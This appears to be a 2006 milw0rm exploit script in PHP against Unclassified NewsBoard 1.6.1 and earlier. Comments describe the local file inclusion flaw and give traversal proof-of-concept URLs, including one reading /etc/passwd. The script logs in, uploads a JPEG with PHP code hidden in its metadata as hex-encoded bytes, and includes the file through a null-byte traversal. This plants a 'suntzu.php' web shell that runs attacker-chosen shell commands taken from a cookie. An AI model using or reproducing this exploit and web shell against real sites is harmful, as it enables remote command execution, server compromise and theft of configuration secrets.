382 lines
No EOL
14 KiB
PHP
382 lines
No EOL
14 KiB
PHP
#!/usr/bin/php -q -d short_open_tag=on
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<?
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echo "Unclassified NewsBoard <= 1.6.1 patch 1 ABBC[Config][smileset] arbitrary\r\n";
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echo "local inclusion\r\n";
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echo "by rgod rgod@autistici.org\r\n";
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echo "site: http://retrogod.altervista.org\r\n\r\n";
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echo "works with register_globals = On & magic_quotes_gpc = Off\r\n\r\n";
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/*
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1.5.3 patch level 4 and below, exploit is a bit different, ex:
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http://[target]/[path]/bb_lib/abbc.css.php?design_path=../../../../../../../../../etc/passwd%00
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*/
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if ($argc<6) {
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echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";
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echo "host: target server (ip/hostname)\r\n";
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echo "path: path to UNB\r\n";
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echo "cmd: a shell command\r\n";
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echo "user/pass: you need a valid user account to upload files\r\n";
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echo "Options:\r\n";
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echo " -p[port]: specify a port other than 80\r\n";
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echo " -P[ip:port]: specify a proxy\r\n";
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echo "Examples:\r\n";
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echo "php ".$argv[0]." localhost /unb/ your_username password cat ./../board.conf.php\r\n";
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echo "php ".$argv[0]." localhost /unb/ your_username password ls -la -p81\r\n";
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echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
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die;
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}
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/* software site: http://newsboard.unclassified.de/
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description: "The Unclassified NewsBoard (short UNB) is an open-source,
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PHP-based internet bulletin board system"
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vulnerable code in unb_lib/abbc.conf.php at lines 635-641:
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...
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// Smiley Definitions
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if ($ABBC['Config']['smileset'])
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{
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$ABBC['Config']['smilepath'] = dirname(__FILE__) . '/designs/_smile/' . $ABBC['Config']['smileset'] . '/';
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$ABBC['Config']['smileurl'] = $UNB['LibraryURL'] . 'designs/_smile/' . $ABBC['Config']['smileset'] . '/';
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@include($ABBC['Config']['smilepath'] . 'config.php');
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}
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...
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$ABBC['Config']['smileset'] var is not initialized before to be used to include
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files. You cannot have access to this code directly but in unb_lib/abbc.css.php
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at line 16 we have:
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...
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require('abbc.conf.php');
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...
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this script is not protected by the unb_lib folder .htaccess file:
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# Don't allow direct PHP requests in this directory
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<Files *.inc.php>
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Order allow,deny
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Deny from all
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</Files>
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<Files *.lib.php>
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Order allow,deny
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Deny from all
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</Files>
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so, if register_globals = On & magic_quotes_gpc = Off, you can include files
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from local resources, poc:
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http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../../../../../../../../etc/passwd%00
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http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/avatar_[user_id].jpeg%00&cmd=ls%20-la
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http://[target]/[path]/unb_lib/abbc.css.php?ABBC[Config][smileset]=../../upload/photo_[user_id].jpeg%00&cmd=ls%20-la
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this script try to include an avatar or photo with malicious php code
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inside, you need a valid account to upload files
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*/
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error_reporting(0);
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ini_set("max_execution_time",0);
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ini_set("default_socket_timeout",5);
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function quick_dump($string)
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{
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$result='';$exa='';$cont=0;
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for ($i=0; $i<=strlen($string)-1; $i++)
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{
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if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
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{$result.=" .";}
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else
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{$result.=" ".$string[$i];}
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if (strlen(dechex(ord($string[$i])))==2)
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{$exa.=" ".dechex(ord($string[$i]));}
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else
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{$exa.=" 0".dechex(ord($string[$i]));}
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$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
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}
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return $exa."\r\n".$result;
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}
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$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
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function sendpacketii($packet)
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{
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global $proxy, $host, $port, $html, $proxy_regex;
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if ($proxy=='') {
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$ock=fsockopen(gethostbyname($host),$port);
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if (!$ock) {
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echo 'No response from '.$host.':'.$port; die;
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}
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}
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else {
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$c = preg_match($proxy_regex,$proxy);
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if (!$c) {
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echo 'Not a valid proxy...';die;
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}
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$parts=explode(':',$proxy);
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echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
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$ock=fsockopen($parts[0],$parts[1]);
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if (!$ock) {
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echo 'No response from proxy...';die;
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}
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}
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fputs($ock,$packet);
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if ($proxy=='') {
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$html='';
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while (!feof($ock)) {
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$html.=fgets($ock);
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}
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}
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else {
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$html='';
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while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
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$html.=fread($ock,1);
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}
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}
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fclose($ock);
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#debug
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#echo "\r\n".$html;
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}
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$host=$argv[1];
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$path=$argv[2];
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$username=$argv[3];
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$pass=$argv[4];
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$cmd="";$port=80;$proxy="";
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for ($i=5; $i<=$argc-1; $i++){
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$temp=$argv[$i][0].$argv[$i][1];
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if (($temp<>"-p") and ($temp<>"-P"))
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{$cmd.=" ".$argv[$i];}
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if ($temp=="-p")
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{
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$port=str_replace("-p","",$argv[$i]);
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}
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if ($temp=="-P")
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{
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$proxy=str_replace("-P","",$argv[$i]);
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}
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}
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$cmd=urlencode($cmd);
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if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
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if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
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echo "step 0 -> check if suntzu.php is already installed...\r\n";
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$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Cookie: cmd=".$cmd.";\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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sendpacketii($packet);
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if (strstr($html,"56789"))
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{
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echo "Exploit succeeded...";
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$temp=explode("56789",$html);
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die("\r\n".$temp[1]."\r\n");
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}
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echo "step 1 -> login...\r\n";
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$data ="LoginName=".urlencode(trim($username));
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$data.="&LoginPassword=".urlencode(trim($pass));
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$packet="POST ".$p."forum.php?req=setuser&module=main HTTP/1.0\r\n";
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$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
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$packet.="Host: ".$host."\r\n";
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$packet.="Content-Length: ".strlen($data)."\r\n";
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$packet.="Connection: Close\r\n\r\n";
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$packet.=$data;
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#debug
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#echo quick_dump($packet);
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sendpacketii($packet);
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$temp=explode("Set-Cookie: ",$html);
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$temp2=explode(' ',$temp[1]);
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$cookie=$temp2[0];
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$temp2=explode(' ',$temp[2]);
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$cookie.=" ".$temp2[0];
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echo 'Your cookie: '.$cookie."\r\n";
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$temp=explode("=",$cookie);
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$temp2=explode("+",$temp[2]);
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$id=$temp2[0];
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echo "User Id -> ".$id."\r\n";
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echo "step 2 -> upload a malicious avatar with php code inside...\r\n";
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$shell=
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chr(0xff).chr(0xd8).chr(0xff).chr(0xfe).chr(0x01).chr(0x07).chr(0x3c).chr(0x3f).
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chr(0x70).chr(0x68).chr(0x70).chr(0x0d).chr(0x0a).chr(0x24).chr(0x66).chr(0x70).
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chr(0x3d).chr(0x66).chr(0x6f).chr(0x70).chr(0x65).chr(0x6e).chr(0x28).chr(0x22).
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chr(0x73).chr(0x75).chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).
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chr(0x68).chr(0x70).chr(0x22).chr(0x2c).chr(0x22).chr(0x77).chr(0x22).chr(0x29).
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chr(0x3b).chr(0x0d).chr(0x0a).chr(0x66).chr(0x70).chr(0x75).chr(0x74).chr(0x73).
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chr(0x28).chr(0x24).chr(0x66).chr(0x70).chr(0x2c).chr(0x22).chr(0x3c).chr(0x3f).
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chr(0x70).chr(0x68).chr(0x70).chr(0x20).chr(0x65).chr(0x72).chr(0x72).chr(0x6f).
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chr(0x72).chr(0x5f).chr(0x72).chr(0x65).chr(0x70).chr(0x6f).chr(0x72).chr(0x74).
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chr(0x69).chr(0x6e).chr(0x67).chr(0x28).chr(0x30).chr(0x29).chr(0x3b).chr(0x73).
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chr(0x65).chr(0x74).chr(0x5f).chr(0x74).chr(0x69).chr(0x6d).chr(0x65).chr(0x5f).
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chr(0x6c).chr(0x69).chr(0x6d).chr(0x69).chr(0x74).chr(0x28).chr(0x30).chr(0x29).
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chr(0x3b).chr(0x69).chr(0x66).chr(0x20).chr(0x28).chr(0x67).chr(0x65).chr(0x74).
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chr(0x5f).chr(0x6d).chr(0x61).chr(0x67).chr(0x69).chr(0x63).chr(0x5f).chr(0x71).
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chr(0x75).chr(0x6f).chr(0x74).chr(0x65).chr(0x73).chr(0x5f).chr(0x67).chr(0x70).
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chr(0x63).chr(0x28).chr(0x29).chr(0x29).chr(0x20).chr(0x7b).chr(0x5c).chr(0x24).
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chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).
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chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x3d).chr(0x73).chr(0x74).chr(0x72).
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chr(0x69).chr(0x70).chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).
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chr(0x73).chr(0x28).chr(0x5c).chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).
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chr(0x4b).chr(0x49).chr(0x45).chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).
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chr(0x29).chr(0x3b).chr(0x7d).chr(0x65).chr(0x63).chr(0x68).chr(0x6f).chr(0x20).
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chr(0x35).chr(0x36).chr(0x37).chr(0x38).chr(0x39).chr(0x3b).chr(0x70).chr(0x61).
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chr(0x73).chr(0x73).chr(0x74).chr(0x68).chr(0x72).chr(0x75).chr(0x28).chr(0x5c).
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chr(0x24).chr(0x5f).chr(0x43).chr(0x4f).chr(0x4f).chr(0x4b).chr(0x49).chr(0x45).
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chr(0x5b).chr(0x63).chr(0x6d).chr(0x64).chr(0x5d).chr(0x29).chr(0x3b).chr(0x65).
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chr(0x63).chr(0x68).chr(0x6f).chr(0x20).chr(0x35).chr(0x36).chr(0x37).chr(0x38).
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chr(0x39).chr(0x3b).chr(0x3f).chr(0x3e).chr(0x22).chr(0x29).chr(0x3b).chr(0x0d).
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chr(0x0a).chr(0x66).chr(0x63).chr(0x6c).chr(0x6f).chr(0x73).chr(0x65).chr(0x28).
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chr(0x24).chr(0x66).chr(0x70).chr(0x29).chr(0x3b).chr(0x0d).chr(0x0a).chr(0x63).
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chr(0x68).chr(0x6d).chr(0x6f).chr(0x64).chr(0x28).chr(0x22).chr(0x73).chr(0x75).
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chr(0x6e).chr(0x74).chr(0x7a).chr(0x75).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
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chr(0x22).chr(0x2c).chr(0x37).chr(0x37).chr(0x37).chr(0x29).chr(0x3b).chr(0x0d).
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chr(0x0a).chr(0x3f).chr(0x3e).chr(0xff).chr(0xe0).chr(0x00).chr(0x10).chr(0x4a).
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chr(0x46).chr(0x49).chr(0x46).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x00).
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chr(0x48).chr(0x00).chr(0x48).chr(0x00).chr(0x00).chr(0xff).chr(0xdb).chr(0x00).
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chr(0x43).chr(0x00).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0xff).chr(0xdb).chr(0x00).chr(0x43).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).
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chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0x01).chr(0xff).
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chr(0xc0).chr(0x00).chr(0x11).chr(0x08).chr(0x00).chr(0x01).chr(0x00).chr(0x01).
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chr(0x03).chr(0x01).chr(0x11).chr(0x00).chr(0x02).chr(0x11).chr(0x01).chr(0x03).
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chr(0x11).chr(0x01).chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x00).chr(0x01).
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chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x08).
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chr(0xff).chr(0xc4).chr(0x00).chr(0x14).chr(0x10).chr(0x01).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xc4).
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chr(0x00).chr(0x15).chr(0x01).chr(0x01).chr(0x01).chr(0x00).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0x08).chr(0x09).chr(0xff).chr(0xc4).chr(0x00).
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chr(0x14).chr(0x11).chr(0x01).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).chr(0x00).
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chr(0x00).chr(0x00).chr(0x00).chr(0xff).chr(0xda).chr(0x00).chr(0x0c).chr(0x03).
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chr(0x01).chr(0x00).chr(0x02).chr(0x11).chr(0x03).chr(0x11).chr(0x00).chr(0x3f).
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chr(0x00).chr(0x23).chr(0x94).chr(0x09).chr(0x2e).chr(0xff).chr(0xd9).chr(0x00);
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/*
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this image has this code inside as EXIF metadata content
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<?php
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$fp=fopen("suntzu.php","w");
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fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");
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fclose($fp);
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chmod("suntzu.php",777);
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?>
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*/
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$data='-----------------------------7d614f2d12043e
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Content-Disposition: form-data; name="action"
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edit
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-----------------------------7d614f2d12043e
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Content-Disposition: form-data; name="id"
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'.$id.'
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-----------------------------7d614f2d12043e
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Content-Disposition: form-data; name="cat"
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postoptions
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-----------------------------7d614f2d12043e
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Content-Disposition: form-data; name="Signature"
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-----------------------------7d614f2d12043e
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Content-Disposition: form-data; name="avatar"
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1
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-----------------------------7d614f2d12043e
|
|
Content-Disposition: form-data; name="avatarfile"; filename="suntzu.jpeg"
|
|
Content-Type: image/pjpeg
|
|
|
|
'.$shell.'
|
|
-----------------------------7d614f2d12043e
|
|
Content-Disposition: form-data; name="avatarurl"
|
|
|
|
|
|
-----------------------------7d614f2d12043e
|
|
Content-Disposition: form-data; name="photofile"; filename="suntzoi.jpeg"
|
|
Content-Type: image/pjpeg
|
|
|
|
'.$shell.'
|
|
-----------------------------7d614f2d12043e
|
|
Content-Disposition: form-data; name="photourl"
|
|
|
|
|
|
-----------------------------7d614f2d12043e
|
|
Content-Disposition: form-data; name="photo"
|
|
|
|
1
|
|
-----------------------------7d614f2d12043e
|
|
Content-Disposition: form-data; name="Save"
|
|
|
|
Save
|
|
-----------------------------7d614f2d12043e--
|
|
';
|
|
|
|
$packet ="POST ".$p."forum.php?req=cp HTTP/1.0\r\n";
|
|
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d614f2d12043e\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Accept-Encoding: gzip, deflate\r\n";
|
|
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
|
|
$packet.="Content-Length: ".strlen($data)."\r\n";
|
|
$packet.="Connection: Keep-Alive\r\n";
|
|
$packet.="Cache-Control: no-cache\r\n";
|
|
$packet.="Cookie: ".$cookie."\r\n\r\n";
|
|
$packet.=$data;
|
|
#debug
|
|
#echo quick_dump($packet);
|
|
sendpacketii($packet);
|
|
|
|
echo "step 3 -> try to include avatar or photo...\r\n";
|
|
$xpl=array(
|
|
urlencode("../../upload/avatar_".$id.".jpeg".chr(0x00)),
|
|
urlencode("../../upload/photo_".$id.".jpeg".chr(0x00))
|
|
);
|
|
|
|
for ($i=0; $i<=count($xpl)-1; $i++)
|
|
{
|
|
$packet ="GET ".$p."unb_lib/abbc.css.php HTTP/1.0\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Cookie: ABBC[Config][smileset]=".$xpl[$i]."; \r\n"; //pass evil var through cookies
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
$packet.=$data;
|
|
#debug
|
|
#echo quick_dump($packet);
|
|
sendpacketii($packet);
|
|
}
|
|
|
|
echo "step 4 -> Launch commands...\r\n";
|
|
$packet ="GET ".$p."unb_lib/suntzu.php HTTP/1.0\r\n";
|
|
$packet.="Host: ".$host."\r\n";
|
|
$packet.="Cookie: cmd=".$cmd.";\r\n";
|
|
$packet.="Connection: Close\r\n\r\n";
|
|
$packet.=$data;
|
|
#debug
|
|
#echo quick_dump($packet);
|
|
sendpacketii($packet);
|
|
if (strstr($html,"56789"))
|
|
{
|
|
echo "Exploit succeeded...";
|
|
$temp=explode("56789",$html);
|
|
die("\r\n".$temp[1]."\r\n");
|
|
}
|
|
//if you are here...
|
|
echo "Exploit failed...";
|
|
?>
|
|
|
|
# milw0rm.com [2006-05-11]
|